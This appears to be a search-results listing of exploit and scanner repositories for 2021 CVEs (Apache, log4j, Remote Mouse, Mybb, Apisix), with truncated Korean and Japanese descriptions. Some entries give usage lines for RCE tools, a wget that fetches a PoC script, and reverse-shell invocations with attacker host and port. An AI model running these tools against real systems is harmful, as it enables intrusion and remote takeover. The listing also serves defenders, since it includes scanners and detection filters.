109186 matches found
RemoteMouse-3.008-RCE
CVE-2021-35448 - 원격 마우스 익스플로잇 설명 이 익스플로잇은 Remote Mouse 애플리케이션이전 명칭 WiFi Mouse의 CVE-2021-35448 취약점을 대상으로 합니다. POC CVE-2021-35448.webm 사용법 기본 구문 root@kitploit: python3 CVE-2021-35448.py -t OPTIONS 옵션 -t, --target: 대상 IP 주소 필수 -p, --payload: 실행할 사용자 정의 명령어 -r, --reverse: IP:PORT 형식의 리버스 셸 -l, --http...
keypairvuln
keypair 취약 키 CVE-2021-41117 CVE-2021-41117에 취약한 keypair javascript 라이브러리 버전으로 생성된 키들입니다. 난수 생성기의 버그로 인해 이 라이브러리는 특정 키를 더 높은 확률로 생성합니다. 취약한 버전으로 이 저장소에 있는 키 중 하나를 생성할 확률은 약 70%입니다. t1 t1은 가장 흔한 256개의 키를 포함합니다. 이 키들 중 하나를 생성할 확률은 약 33%입니다. t2 t2는 t1의 키보다 덜 흔하지만 여전히 상대적으로 자주 나타나는 71424개의 키를 포함합니다. 이...
RCE-PoC-CVE-2021-25646
CVE-2021-25646 개념 증명 Go 버전 개요 이 저장소는 Apache Druid의 심각한 원격 코드 실행 취약점인 CVE-2021-25646에 대한 개념 증명PoC 익스플로잇을 포함합니다. 이 익스플로잇은 Go로 작성되었으며 터미널을 통한 대화형 명령 주입을 허용합니다. 기능 대화형 명령 주입: 취약한 Apache Druid 서버에서 대화형 셸 인터페이스를 통해 임의의 명령을 실행합니다. 빌드 설치된 Go가 필요합니다 2.23.4 버전 권장. root@kitploit: go build . 이 명령은 현재 디렉터리에...
CVE-2021-37748
CVE-2021-37748에 대한 익스플로잇 전체 글: https://www.secforce.com/blog/exploiting-grandstream-ht801-ata-cve-2021-37748-cve-2021-37915/...
Log4j_scan_Advance
log4j-scan 취약한 log4j 호스트를 찾기 위한 완전 자동화된 정확하고 광범위한 스캐너 기능 URL 목록 지원 60개 이상의 HTTP 요청 헤더 퍼징 기존 도구처럼 34개 헤더만 퍼징하는 것이 아님 HTTP POST 데이터 파라미터 퍼징 JSON 데이터 파라미터 퍼징 취약점 발견 및 검증을 위한 DNS 콜백 지원 WAF 우회 페이로드 🚨 공지 Log4J v2.15.0에는 전체 RCE를 가능하게 하는 패치 우회가 존재합니다. FullHunt는 log4j-scan에 CVE-2021-45046을 안정적으로 탐지할 수 있도록...
CVE-2021-3156
CVE-2021-3156...
fail2ban-log4j
fail2ban-log4j fail2banのフィルターで、log4j CVE-2021-44228に対する攻撃を検知します。 インストール このファイルをfail2banのfilter.dディレクトリにコピーしてください。通常は以下のような場所にあります。 /etc/fail2ban/filter.d または類似の場所です。 jail.localまたはjail.confにapache-jndiセクションを追加してください： root@kitploit: apache-jndi enabled = true filter = apache-jndi port = http,https...
cve-2021-22555
이 저장소에는 README가 없습니다...
POC-CVE-2021-41773
POC CVE-2021-41773 N|Solid Apache HTTPD 2.4.49 서비스의 취약점 CVE-2021-41773을 테스트하기 위한 PoC입니다. POC 원하는 터미널을 열고 다음 명령어를 실행하세요. 첫 번째 탭: root@kitploit: wget https://raw.githubusercontent.com/TishcaTpx/POC-CVE-2021-41773/main/poc.py 두 번째 탭: root@kitploit: python3 poc.py exampledomain.com...
CVE-2021-42013_Reverse-Shell
CVE-2021-42013Reverse-Shell CVE-2021-42013 PoC 리버스 셸 Apache 2.4.50 with CGI 사용법 : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 추가 정보: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999...
CVE-2021-36934
CVE-2021-36934 HiveNightmare 일명 SeriousSAM...
log4j-CVE-2021-44228-Public-IoCs
log4j log4shell CVE-2021-44228 공개 IoCs 목록 Twitter 및 기타 소셜 네트워크를 기반으로 한 log4j CVE-2021-44228 log4shell에 대한 공개 IoCs입니다 pull requests 환영합니다, 중복은 자동으로 제거합니다 IP 주소 https://github.com/Sh0ckFR/log4j-CVE-2021-44228-Public-IoCs/raw/main/ips.txt 콜백 도메인...
Log4j-CVE-2021-44228
Log4j-CVE-2021-44228 Log4j CVE-2021-44228 の脆弱性一括チェック はじめに 実際には、https://github.com/christophetd/log4shell-vulnerable-app の脆弱なアプリケーションを使って検証しました（ライブターゲットを見つけるのが面倒だったので xD）。 ですので、あなたの知識に応じてこのコードを開発・変更しても構いません ; 必要条件 python 3x pip インストール pip install -r requirements.txt 参考資料...
VSSCopy
VSSCopy CVE-2021-36934에 대한 작고 지저분한 PoC 사용법: VSSCopy.exe C:\temp 크레딧: https://twitter.com/jonasLyk https://twitter.com/gentilkiwi...
CVE-2021-44228-Scanner
log4j2-scan は、CVE-2021-44228 の脆弱性スキャンおよび緩和パッチ適用のための単一バイナリのコマンドラインツールです。ネストされた JAR ファイルのスキャンとパッチ適用にも対応しています。また、CVE-2021-45046 log4j 2.15.0、CVE-2021-45105 log4j 2.16.0、CVE-2021-44832 log4j 2.17.0、CVE-2021-4104、CVE-2019-17571、CVE-2017-5645、CVE-2020-9488、CVE-2022-23302、CVE-2022-23305、CVE-2022-23307...
CVE-2021-41773
CVE-2021-41773 go 언어 poc&exp 프로젝트입니다. 고지: 이 프로젝트는 저자의 일상 학습 노트에서 비롯되었습니다. 관련 기술 및 도구를 불법 테스트에 사용하지 마십시오. 이로 인해 발생하는 모든 불리한 결과에 대해 저자는 책임지지 않습니다. 사용 방법: root@kitploit: ./main -u 单个url ./main -u -c 单个url执行单个命令 ./main -f 批量验证url文件 ./main -f -o 验证url文件，有漏洞的导出 ./main -u -cmd 循环非交互式执行命令 프로그램 실행 결과: 다음...
Apisix_Crack
ApisixCrack 개요 Apisix 시리즈 취약점 탐지 및 이용 도구로, 인증되지 않은 접근 취약점CVE-2021-45232 및 기본 키 취약점CVE-2020-13945을 포함하며, 배치 탐지 및 이용을 지원합니다. 사용 방법 배치 탐지: 파일에 한 줄씩 검사할 URL을 입력하고, 매개변수 -TF로 파일 지정, -t로 동시 실행 수 설정 단일 대상 탐지: -T http://x.x.x.x 실행 결과 玉兔安全은 웹 보안, 레드블루 팀 대항, 내부 네트워크 침투, 안티 바이러스 기술, 보안 도구 시리즈 등 유용한 정보를 공유합니...
Mybb-XSS_SQL_RCE-POC
Mybb-XSSSQLRCE-POC Mybbに関連するCVE-2021-27890 & CVE-2021-27889をRCE PoCに 使用前: ここに2つのファイルがあります: 1.js と attacklisten.py これらの2つのファイルを修正してください: 1.js: mybbフォーラムのURLと攻撃URLを修正してください: root@kitploit: var bashurl = 'http://192.168.92.164/mybb/mybb-mybb1825' mybb forum url var attackurl =...